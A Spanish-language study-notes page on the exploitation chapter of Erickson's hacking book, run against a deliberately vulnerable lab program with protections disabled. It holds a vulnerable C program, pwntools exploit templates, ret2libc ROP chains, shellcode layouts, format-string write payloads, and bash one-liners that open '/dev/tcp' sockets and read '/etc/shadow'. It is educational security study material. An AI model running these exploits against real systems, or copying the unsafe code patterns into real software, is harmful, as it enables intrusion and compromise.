Skip to content

Latest commit

 

History

History
445 lines (319 loc) · 16.6 KB

File metadata and controls

445 lines (319 loc) · 16.6 KB

0x300 — Exploitation

Índice


0x310 — Técnicas generales de exploit

Erickson agrupa todos los exploits clásicos en una idea central: convertir datos en código. El programa espera datos (un nombre, un nº de credits, una URL), pero por una falta de validación esos datos terminan ejecutándose como código del atacante.

Las cuatro formas en las que un programa pierde el control

Vector Qué se sobrescribe Capítulo
Stack overflow clásico Dirección de retorno (saved RIP) 0x320
Overflow en BSS/data Punteros a función, GOT 0x350
Heap overflow Metadatos del allocator → write-what-where 0x350
Format string %n escribe en cualquier dirección 0x360

Las cuatro técnicas comparten estructura:

  1. Encontrar la corrupción. Un strcpy, gets, memcpy, printf(user), etc.
  2. Calcular el offset. ¿Cuántos bytes hay del buffer al puntero objetivo?
  3. Construir el payload. Datos válidos + relleno + dirección controlada.
  4. Ejecutar el payload. Por stdin, argv, archivo, red...
  5. Aterrizar en código del atacante. Shellcode, ROP gadget, libc función...

Mitigaciones modernas que tendremos que esquivar

El libro es de 2008. Linux moderno trae:

  • Stack canary (-fstack-protector-strong, on por defecto). Un valor random entre el buffer y el RIP guardado. Si lo sobrescribes, el programa aborta antes de retornar. Esquive: leak del canary (format string, info leak), reescribir con el mismo valor.
  • NX / DEP (-z noexecstack, on por defecto). La pila no es ejecutable; tu shellcode ahí no corre. Esquive: ROP / ret2libc.
  • ASLR (/proc/sys/kernel/randomize_va_space=2, on por defecto). Stack, heap y libs en direcciones aleatorias cada ejecución. Esquive: brute force (en 32-bit), info leak, partial overwrite, ret2plt + GOT leak.
  • PIE (-pie, on por defecto). El propio binario también está en dirección aleatoria. Esquive: info leak para revelar la base del binario.
  • RELRO (-Wl,-z,relro,-z,now, on por defecto). La GOT es read-only tras el dynamic linking. Bloquea GOT overwrite.
  • FORTIFY_SOURCE (-D_FORTIFY_SOURCE=2, requiere -O1+). Reemplaza strcpy(dst, src) por una versión con tamaño conocido si el compilador puede deducirlo.

Para reproducir el libro, compilo con -fno-stack-protector -z execstack -no-pie, desactivo ASLR (echo 0 > /proc/sys/kernel/randomize_va_space) y trabajo en x86-64 con la calling convention SysV (primer argumento en rdi, no en la pila).


0x320 — Buffer overflows en la pila

El programa vulnerable mínimo

codigo/0x320/overflow_example.c:

#include <stdio.h>
#include <string.h>

int check_authentication(char *password) {
    int auth_flag = 0;
    char password_buffer[16];

    strcpy(password_buffer, password);

    if (strcmp(password_buffer, "supersecret") == 0)
        auth_flag = 1;
    if (strcmp(password_buffer, "letmein") == 0)
        auth_flag = 1;

    return auth_flag;
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Uso: %s <password>\n", argv[0]);
        return 1;
    }
    if (check_authentication(argv[1])) {
        printf("\n-=-=-=-=-=-=-=-=-=-=-=-=\n");
        printf("    Acceso garantizado.\n");
        printf("-=-=-=-=-=-=-=-=-=-=-=-=\n\n");
    } else {
        printf("\nAcceso DENEGADO.\n");
    }
    return 0;
}

Compilar sin protecciones:

make 0x320
# o explícitamente:
gcc -g -fno-stack-protector -z execstack -no-pie \
    codigo/0x320/overflow_example.c -o codigo/0x320/overflow_example

El bug

password_buffer mide 16 bytes. strcpy copia hasta el null sin comprobar tamaño. Si password mide más de 16 bytes, sobrescribe auth_flag, el RBP guardado, y la dirección de retorno (en ese orden, hacia direcciones más altas).

Probarlo

$ ./codigo/0x320/overflow_example AAAAAAAAAAAAAAAA      # 16 A — buffer lleno
Acceso DENEGADO.
$ ./codigo/0x320/overflow_example $(python3 -c 'print("A"*29)')  # 29 A — desborda hasta auth_flag
-=-=-=-=-=-=-=-=-=-=-=-=
    Acceso garantizado.
-=-=-=-=-=-=-=-=-=-=-=-=

¿Por qué 29 y no 21? Porque el compilador moderno reordena las locales y mete padding por alineación de 16 bytes. El binario de auth_overflow.c imprime el offset real:

$ ./codigo/0x320/auth_overflow AAAAA...
[debug] auth_flag       @ 0x7ffd...c2c
[debug] password_buffer @ 0x7ffd...c10
[debug] distancia entre ambos: 28 bytes

La distancia es 28 bytes, no 20: el compilador puso auth_flag 12 bytes más arriba del buffer por alineación. Con 29 caracteres el primer byte de auth_flag vale 'A', no cero, y la condición pasa.

Layout real de la pila en check_authentication (medido):

                 ← direcciones altas
+----------------+
| dirección retorno (8 bytes)        |
+----------------+
| RBP guardado    (8 bytes)          |
+----------------+
| auth_flag       (4 bytes)          | ← offset 28 desde el buffer
+----------------+
| padding         (12 bytes)         |
+----------------+
| password_buffer (16 bytes)         | ← inicio del overflow
+----------------+
                 ← direcciones bajas

Lección: los offsets del libro (escritos para gcc 3 / x86 32-bit) nunca coinciden con los offsets reales en x86-64 + gcc moderno. Siempre hay que medir con un programa instrumentado o con GDB.

Inspección con GDB

$ gdb -q ./codigo/0x320/overflow_example
(gdb) disas check_authentication
   ...
   sub    rsp,0x30                    ; 48 bytes de stack frame
   ...
(gdb) break check_authentication
(gdb) run AAAAAAAAAAAAAAAAAAAA
(gdb) x/16xg $rsp
0x7fffffffdc40: 0x4141414141414141  0x4141414141414141   ; password_buffer[0..15]
0x7fffffffdc50: 0x0000000000000000  0x...                ; auth_flag + padding
0x7fffffffdc60: 0x00007fffffffdcb0  0x000055555555524d   ; saved RBP, saved RIP

Sobrescribir RIP — control total

Si seguimos copiando, llegamos al saved RIP. Ese valor es la dirección a la que ret saltará al final de la función. Si lo controlamos, controlamos rip.

Calcular el offset:

$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"BBBBBBBB")' \
    | xargs -0 ./codigo/0x320/overflow_example
Segmentation fault
$ dmesg | tail -1
... ip 0000000042424242 ...      ← rip = "BBBBBBBB"

Confirmado: con 40 bytes de relleno + 8 bytes de payload, rip cae bajo nuestro control. Lo siguiente es apuntar a algo útil:

  • Una función ya presente en el binario (ret2text).
  • Una función de libc, p.ej. system("/bin/sh") (ret2libc — ver 0x340).
  • Shellcode metido en una variable de entorno (ver 0x340).
  • Una cadena de gadgets ROP (ver 0x340/0x600).

Plantilla de exploit con pwntools

codigo/0x320/exploit.py:

#!/usr/bin/env python3
from pwn import *

context.binary = ELF('./codigo/0x320/overflow_example')
context.arch   = 'amd64'

OFFSET = 40                                  # buffer(16) + auth_flag+pad(8) + rbp(8) + alineación
target = p64(context.binary.sym['win'])      # función a la que queremos saltar

payload = b'A' * OFFSET + target

p = process([context.binary.path, payload])
p.interactive()

NOP sled + shellcode (modo libro)

El libro mete shellcode dentro del buffer y rellena la parte previa con 0x90 (nop) — un NOP sled. Si la dirección de retorno cae en cualquier punto del sled, el CPU "se desliza" hasta el shellcode.

+------------------+ ← saved RIP, sobrescrito a una dirección dentro del sled
|  shellcode       |
|  ...             |
|  NOP NOP NOP NOP | ← sled
|  NOP NOP NOP NOP |
+------------------+ ← inicio del buffer

Con NX activo (Linux moderno) este truco no funciona: la pila no es ejecutable. Por eso el libro asume -z execstack y por eso en exploits modernos se usa ROP en lugar de shellcode.

Layout del payload:

shellcode = asm(shellcraft.amd64.linux.sh())   # ~44 bytes
sled_size = OFFSET - len(shellcode)
payload = b'\x90' * sled_size + shellcode + p64(addr_into_sled)

addr_into_sled se calcula con un leak previo o, sin ASLR, estimando la dirección del buffer en GDB (ojo: GDB cambia las direcciones por su propio entorno; usar getenv para conseguir una dirección estable).


0x330 — Experimentando con BASH

El libro dedica una sección a BASH como herramienta de hacking, no como lenguaje de programación. Las técnicas más útiles:

Convertir bytes en argumentos

# 21 A's al programa
./prog $(python3 -c 'print("A"*21)')

# bytes binarios — usar `printf` (no `echo -e` que es no-portable):
./prog $(printf '\x90\x90\xeb\x0a')

# pasarle stdin pero mantener interactiva:
(printf 'AAAA'; cat) | ./prog

Leer / escribir descriptores de archivo

./prog 3< /etc/shadow      # abre /etc/shadow como fd 3 del proceso
exec 4<> /dev/tcp/host/80  # bash abre socket TCP como fd 4

/dev/tcp/host/port es un truco de bash: abrir un socket sin necesidad de nc. Útil cuando el target solo tiene bash y no hay herramientas de red.

Process substitution

diff <(curl -s http://a/file) <(curl -s http://b/file)

<(cmd) ejecuta cmd y entrega un fd-pipe como si fuera un archivo. Muy útil para comparar outputs sin tocar disco.

command < file vs cat file | command

./prog < payload.bin       # stdin = payload.bin (no spawnea cat)
cat payload.bin | ./prog   # mismo efecto, pero con un proceso extra y un pipe

Importante para exploits: el primer modo deja el shell padre como controlador del TTY, así que ; cat al final del payload para mantener stdin abierto:

(printf '...payload...'; cat) | ./prog

0x340 — Usando el entorno

Variables de entorno como almacenamiento estable

Una variable de entorno está en la pila del proceso, en una zona predecible (más arriba de argv). Si exportas una variable larga y enlazas un binario sin PIE, la dirección de esa variable es muy estable entre ejecuciones (cambia solo si cambia el nombre del binario o la longitud del entorno).

export SHELLCODE=$(printf '\x90\x90\x90...')   # NOP sled + shellcode
./getenvaddr SHELLCODE ./codigo/0x320/overflow_example
SHELLCODE will be at 0x7fffffffe6d4

codigo/0x340/getenvaddr.c:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char *ptr;
    if (argc < 3) {
        printf("Uso: %s <ENV_VAR> <programa_objetivo>\n", argv[0]);
        return 1;
    }
    ptr = getenv(argv[1]);
    // Ajuste: la dirección de getenv en este programa = la del programa objetivo
    // ± diferencia entre los nombres de los ejecutables.
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
    printf("%s estará en %p (cuando lo lea %s)\n", argv[1], ptr, argv[2]);
    return 0;
}

La fórmula del ajuste viene de cómo Linux coloca el argv en la pila: argv[0] ocupa strlen(argv[0])+1 bytes, alineados al final del bloque de strings, así que cambiar el nombre del binario desplaza todo lo demás. Multiplicar por 2 compensa el desplazamiento que sufre el entorno respecto a argv.

ret2libc — el clásico

Si NX está activo y no podemos ejecutar shellcode en la pila, saltamos a una función de libc que ya está cargada en memoria. El objetivo favorito es system("/bin/sh").

Pasos en x86-64 (SysV ABI: argumentos en registros):

  1. Encontrar la dirección de system en libc:
    (gdb) p system
    $1 = {<text variable, no debug info>} 0x7ffff7e3a290 <__libc_system>
    
  2. Encontrar la string "/bin/sh" dentro de libc:
    strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep '/bin/sh'
    y sumar a la base de libc en el proceso.
  3. Como system espera el primer arg en rdi, necesitamos un gadget pop rdi; ret para cargar la dirección de /bin/sh:
    ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep ': pop rdi ; ret$' | head -3
  4. Construir el payload:
    payload  = b'A' * OFFSET
    payload += p64(pop_rdi_gadget)
    payload += p64(addr_bin_sh)
    payload += p64(ret_gadget)            # alineación a 16 bytes (movaps en system)
    payload += p64(system_addr)

Sin esto último (ret extra), system puede crashear con movaps si rsp no está alineado a 16 bytes. Es uno de los gotchas más típicos en exploits modernos x86-64.

Plantilla en pwntools

codigo/0x340/ret2libc.py.


0x350 — Overflows en otros segmentos

Heap overflow — el caso clásico

Con malloc(), los chunks del heap están encadenados con metadatos (tamaño, flags, free-list). Si escribes más allá del chunk:

  • Puedes corromper el header del chunk vecino.
  • Si liberas el vecino, el allocator lee tu valor falso.
  • Te da un write-what-where: escribir un valor arbitrario en una dirección arbitraria.

Ejemplos clásicos: unlink attack, House of Force, House of Spirit, tcache poisoning. Cada técnica explota una versión distinta del allocator (dlmalloc, ptmalloc, glibc 2.26+).

codigo/0x350/heap_overflow.c tiene un ejemplo simple de corromper un puntero a función adyacente.

BSS / GOT overwrite

La GOT (Global Offset Table) guarda las direcciones reales de funciones de libc resueltas en runtime. Cuando el código llama a printf, el CPU salta a printf@plt, que indirige por la GOT.

Si la GOT no está protegida con full RELRO y conseguimos un write-what-where, sobrescribimos printf@got con la dirección de system. La próxima llamada a printf("/bin/sh") ejecuta system("/bin/sh").

Comprobar RELRO:

checksec --file=binario

Si dice "Partial RELRO", la GOT es escribible. "Full RELRO" → no se puede.


0x360 — Format string exploits

Cuando printf recibe una format string controlada por el atacante, los especificadores leen y escriben memoria.

Leak de pila con %x

$ ./fmt '%x %x %x %x'
7fff... 0 7f... 1

Cada %x consume un argumento. En SysV x86-64 los primeros 5 argumentos de printf (después del format) están en rsi, rdx, rcx, r8, r9; del 6º en adelante, en la pila. Así que leemos primero registros (a menudo basura), luego pila.

Selector posicional %N$

%7$x lee directamente el 7º argumento sin imprimir los anteriores. Imprescindible para exploits estables:

$ ./fmt 'AAAA %7$p'
AAAA 0x4141414141414141       ← nuestras A's están en la posición 7

Leer una string en una dirección concreta

$ ./fmt $'\x10\xc0\x60\x00\x00\x00\x00\x00 lee: %7$s'
... lee: <contenido de la dirección 0x60c010>

Con esto leemos cualquier dirección — útil para leakar el canary, leakar libc base (vía GOT), etc.

Escribir en una dirección con %n

%n escribe en la dirección apuntada por su argumento el nº de bytes ya impresos. Combinado con %Nx para inflar el contador, escribimos cualquier valor:

target = 0x404040
value  = 0xdeadbeef
payload  = p64(target)
payload += b'%' + str(value - 8).encode() + b'd'   # imprime relleno hasta 0xdeadbeef bytes
payload += b'%7$n'                                 # escribe el contador en target

Para valores grandes esto es lentísimo. Solución: escribir dos bytes a la vez con %hn (half-word):

%hn   → 2 bytes
%hhn  → 1 byte
%n    → 4 bytes

Ejemplo: escribir 0xdeadbeef en 0x404040 se hace como dos %hn a 0x404040 (low half = 0xbeef) y 0x404042 (high half = 0xdead), padding con %0Nx.

Ejemplo completo

codigo/0x360/fmt_vuln.c (programa vulnerable) y codigo/0x360/exploit.py (exploit que usa %n para sobrescribir una variable).

Mitigaciones

  • -Wformat-security en gcc detecta printf(user_input) en compile-time. (Nuestro Makefile usa -Wno-format-security para que el código del libro compile.)
  • FORTIFY_SOURCE convierte printf("%s", x) literal a puts(x), pero no protege contra format string si el primer arg es runtime.
  • En código nuevo: siempre printf("%s", buf), nunca printf(buf). Misma regla para syslog, fprintf, snprintf.

Siguiente: 0x400 — Networking.